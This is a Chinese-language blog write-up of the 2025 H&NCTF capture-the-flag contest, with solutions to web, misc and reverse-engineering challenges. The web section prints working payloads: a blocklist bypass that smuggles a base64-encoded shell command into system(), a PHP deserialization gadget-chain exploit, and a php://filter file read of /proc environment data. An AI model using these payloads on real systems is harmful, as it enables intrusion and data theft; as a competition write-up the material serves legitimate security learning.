2025H&NCTF
本文最后更新于228 天前,其中的信息可能已经过时,如有错误请发送邮件到270371528@qq.com

2025H&NCTF

web

Really_Ez_Rce

看源码

<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);

if (isset($_REQUEST['Number'])) {
    $inputNumber = $_REQUEST['Number'];

    if (preg_match('/d/', $inputNumber)) {
        die("不行不行,不能这样");
    }

    if (intval($inputNumber)) {
        echo "OK,接下来你知道该怎么做吗";

        if (isset($_POST['cmd'])) {
            $cmd = $_POST['cmd'];

            if (!preg_match(
                '/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\|more|cc|tac|less|head|.|{|}|uniq|copy|%|file|xxd|date|[|]|flag|bash|env|!|?|ls|'|"|id/i',
                $cmd
            )) {
                echo "你传的参数似乎挺正经的,放你过去吧<br>";
                system($cmd);
            } else {
                echo "nonono,hacker!!!";
            }
        }
    }
}

第一部分数组绕过,第二部分“拼接绕过

payload:
?Number[]=0
cmd=echo Y2F0IC9mbGFn``LnR4dA== | ba``se64 -d | s``h

image-20250608211801014

ez_php

 <?php
error_reporting(0);
class GOGOGO{
    public $dengchao;
    function __destruct(){
        echo "Go Go Go~ 出发喽!" . $this->dengchao;
    }
}
class DouBao{
    public $dao;
    public $Dagongren;
    public $Bagongren;
    function __toString(){
        if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
            call_user_func_array($this->dao, ['诗人我吃!']);
        }
    }
}
class HeiCaFei{
    public $HongCaFei;
    function __call($name, $arguments){
        call_user_func_array($this->HongCaFei, [0 => $name]);
    }
}

if (isset($_POST['data'])) {
    $temp = unserialize($_POST['data']);
    throw new Exception('What do you want to do?');
} else {
    highlight_file(__FILE__);
}
?> 

很明显链子为

GOGOGO::__destruct->DouBao::__toString->HeiCaFei

exp:

<?php
class GOGOGO{
    public $dengchao;
}
class DouBao{
    public $dao;
    public $Dagongren;
    public $Bagongren;

}
class HeiCaFei{
    public $HongCaFei;
}
$gogogo = new GOGOGO();
$doubao = new DouBao();
$heicafei = new HeiCaFei();
$heicafei->HongCaFei = "system";
$doubao->dao = [$heicafei,"cat /ofl1111111111ove4g"];
$doubao->Dagongren = [0,1];
$doubao->Bagongren = [1,1];
$gogogo->dengchao = $doubao;
$a=array(0=>$gogogo,1=>null);
echo serialize($a);
#a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:23:"cat /ofl1111111111ove4g";}s:9:"Dagongren";a:2:{i:0;i:0;i:1;i:1;}s:9:"Bagongren";a:2:{i:0;i:1;i:1;i:1;}}}i:1;N;}
#a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:23:"cat /ofl1111111111ove4g";}s:9:"Dagongren";a:2:{i:0;i:0;i:1;i:1;}s:9:"Bagongren";a:2:{i:0;i:1;i:1;i:1;}}}i:0;N;}

因为有throw,所以要用gc机制来触发destruct,将最后的i:1变成i:0即可。

DeceptiFlag

这题有点抽象…

进入页面抓包提交参数后发现有隐藏参数

image-20250608224712096

post方法提交

image-20250608224811943

来到这个页面,路由为

http://27.25.151.198:48415/tips.php?file=flag

看到?file=这个格式想到会不会有任意文件读取。试一下就出来了

http://27.25.151.198:48415/tips.php?file=php://filter/read=convert.base64-encode/resource=/proc/9/environ

image-20250608224933103

misc

芙宁娜的图片

一张图片一个txt。txt一眼brainfuck。bugku平台解密

image-20250609153303828
随波逐流打开图片发现密钥

image-20250609153219202

维吉尼亚解密

image-20250609153344309

星辉骑士

随波逐流打开,发现有隐藏文件

image-20250609153704805

binwalk分离一下。得到flag.zip。

image-20250609153956302

加密为伪加密,随波逐流修复一下。

打开txt后发现是垃圾邮件,放到https://www.spammimic.com/解密一下,在999.txt解密出flag

image-20250609154404621

re

签到re

丢给ai直接就能一把梭了

justgame

ida打开查看入口main函数

image-20250609174531197

给了一个字符串,对字符串进行凯撒解密(每个字符减3)后存到v11。然后将我们的输入经过sub_2020()函数处理后与解密后的字符串比较。 解密字符串后为acoderjourney。

查看sub_2020()函数,给ai翻译一下

image-20250609175327615

输入数字给s2添加对应的数,根据这个逻辑依次输入构造出解密字符串acoderjourney。

最终序列为7 7 6 5 10 6 5 5 5 5 4 5 15 4 6 6 5 5 10 6 5 15 6 15 10 6 5 5 4 5 15 6 6 6 5 5

image-20250609174012067

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇